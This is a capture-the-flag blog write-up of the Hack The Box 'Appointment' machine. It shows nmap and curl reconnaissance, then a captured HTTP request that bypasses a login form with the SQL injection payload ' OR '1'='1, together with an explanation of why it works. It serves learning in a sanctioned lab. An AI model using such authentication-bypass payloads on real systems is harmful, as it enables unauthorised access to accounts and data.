nopedawn

HTB | Appointment - Starting Point

https://app.hackthebox.com/machines/Appointment/



Appointment | Walkthrough

Phase
Reconnaissance
Foothold

Reconnaissance

Using nmap to enumerate all open ports in the target

nmap -sV 10.129.18.225
nmap
nopedawn@npdn ~/L/H/S/Appointment> $ nmap -sV 10.129.18.225
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-26 17:08 WIB
Nmap scan report for 10.129.18.225
Host is up (0.54s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.36 seconds

There is tcp port open for apache service, so I’ll go ahead visit it and it’s only simple login page

GET / HTTP/1.1
Host: 10.129.18.237
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
curl
nopedawn@npdn ~/L/H/S/Appointment> $ curl -v 10.129.18.225
*   Trying 10.129.18.225:80...
* Connected to 10.129.18.225 (10.129.18.225) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.129.18.225
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 26 Feb 2026 10:10:47 GMT
< Server: Apache/2.4.38 (Debian)
< Vary: Accept-Encoding
< Content-Length: 4896
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
        <title>Login</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
<!--===============================================================================================-->
        <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="fonts/iconic/css/material-design-iconic-font.min.css">
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="vendor/animate/animate.css">
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="vendor/css-hamburgers/hamburgers.min.css">
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="vendor/animsition/css/animsition.min.css">
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="vendor/select2/select2.min.css">
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="vendor/daterangepicker/daterangepicker.css">
<!--===============================================================================================-->
        <link rel="stylesheet" type="text/css" href="css/util.css">
        <link rel="stylesheet" type="text/css" href="css/main.css">
<!--===============================================================================================-->
</head>
<body>


        <div class="limiter">
                <div class="container-login100" style="background-image: url('images/bg-01.jpg');">
                        <div class="wrap-login100">
                                <form class="login100-form validate-form" method="post">
                                        <span class="login100-form-logo">
                                                <i class="zmdi zmdi-landscape"></i>
                                        </span>

                                        <span class="login100-form-title p-b-34 p-t-27">
                                                Log in
                                        </span>

                                        <div class="wrap-input100 validate-input" data-validate = "Enter username">
                                                <input class="input100" type="text" name="username" placeholder="Username">
                                                <span class="focus-input100" data-placeholder="&#xf207;"></span>
                                        </div>

                                        <div class="wrap-input100 validate-input" data-validate="Enter password">
                                                <input class="input100" type="password" name="password" placeholder="Password">
                                                <span class="focus-input100" data-placeholder="&#xf191;"></span>
                                        </div>

                                        <div class="contact100-form-checkbox">
                                                <input class="input-checkbox100" id="ckb1" type="checkbox" name="remember-me">
                                                <label class="label-checkbox100" for="ckb1">
                                                        Remember me
                                                </label>
                                        </div>

                                        <div class="container-login100-form-btn">
                                                <button class="login100-form-btn">
                                                        Login
                                                </button>
                                        </div>

                                        <div class="text-center p-t-90">
                                                <a class="txt1" href="#">
                                                        Forgot Password?
                                                </a>
                                        </div>
                                </form>
                        </div>
                </div>
        </div>


        <div id="dropDownSelect1"></div>

<!--===============================================================================================-->
        <script src="vendor/jquery/jquery-3.2.1.min.js"></script>
<!--===============================================================================================-->
        <script src="vendor/animsition/js/animsition.min.js"></script>
<!--===============================================================================================-->
        <script src="vendor/bootstrap/js/popper.js"></script>
        <script src="vendor/bootstrap/js/bootstrap.min.js"></script>
<!--===============================================================================================-->
        <script src="vendor/select2/select2.min.js"></script>
<!--===============================================================================================-->
        <script src="vendor/daterangepicker/moment.min.js"></script>
        <script src="vendor/daterangepicker/daterangepicker.js"></script>
<!--===============================================================================================-->
        <script src="vendor/countdowntime/countdowntime.js"></script>
<!--===============================================================================================-->
        <script src="js/main.js"></script>

</body>
</html>
* Connection #0 to host 10.129.18.225 left intact

Foothold

We can simply attempt to inject malicious SQL payload into the username or password fields,

To do this I use common payload from payloadallthethings and tried to use basic sqli payload to bypass it

' OR '1'='1
POST / HTTP/1.1
Host: 10.129.18.237
Content-Length: 34
Cache-Control: max-age=0
Origin: http://10.129.18.237
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.18.237/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive

username=test&password=' OR '1'='1
response
HTTP/1.1 200 OK
Date: Thu, 26 Feb 2026 10:43:15 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 2440
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
	<title>Login</title>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
<!--===============================================================================================-->	
	<link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="fonts/iconic/css/material-design-iconic-font.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="vendor/animate/animate.css">
<!--===============================================================================================-->	
	<link rel="stylesheet" type="text/css" href="vendor/css-hamburgers/hamburgers.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="vendor/animsition/css/animsition.min.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="vendor/select2/select2.min.css">
<!--===============================================================================================-->	
	<link rel="stylesheet" type="text/css" href="vendor/daterangepicker/daterangepicker.css">
<!--===============================================================================================-->
	<link rel="stylesheet" type="text/css" href="css/util.css">
	<link rel="stylesheet" type="text/css" href="css/main.css">
<!--===============================================================================================-->
</head>
<body>

	
	<div class="limiter">
		<div class="container-login100" style="background-image: url('images/bg-01.jpg');">
<div><h3>Congratulations!</h3><br><h4>Your flag is: REDACTED</h4></div></div></div></body></html>

And We got the flag after injecting in the password field,

Explanation:

Here, ‘1’=‘1’ is always true, which means the query could return a valid user, effectively bypassing the authentication check.

⚠️ In this case, the database will return an array of results because it will match every users in the table. This will produce an error in the server side since it was expecting only one result. By adding a LIMIT clause, you can restrict the number of rows returned by the query. By submitting the following payload in the username field, you will log in as the first user in the database. Additionally, you can inject a payload in the password field while using the correct username to target a specific user.

Source:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Prev
...
Next
HTB | Redeemer - Starting Point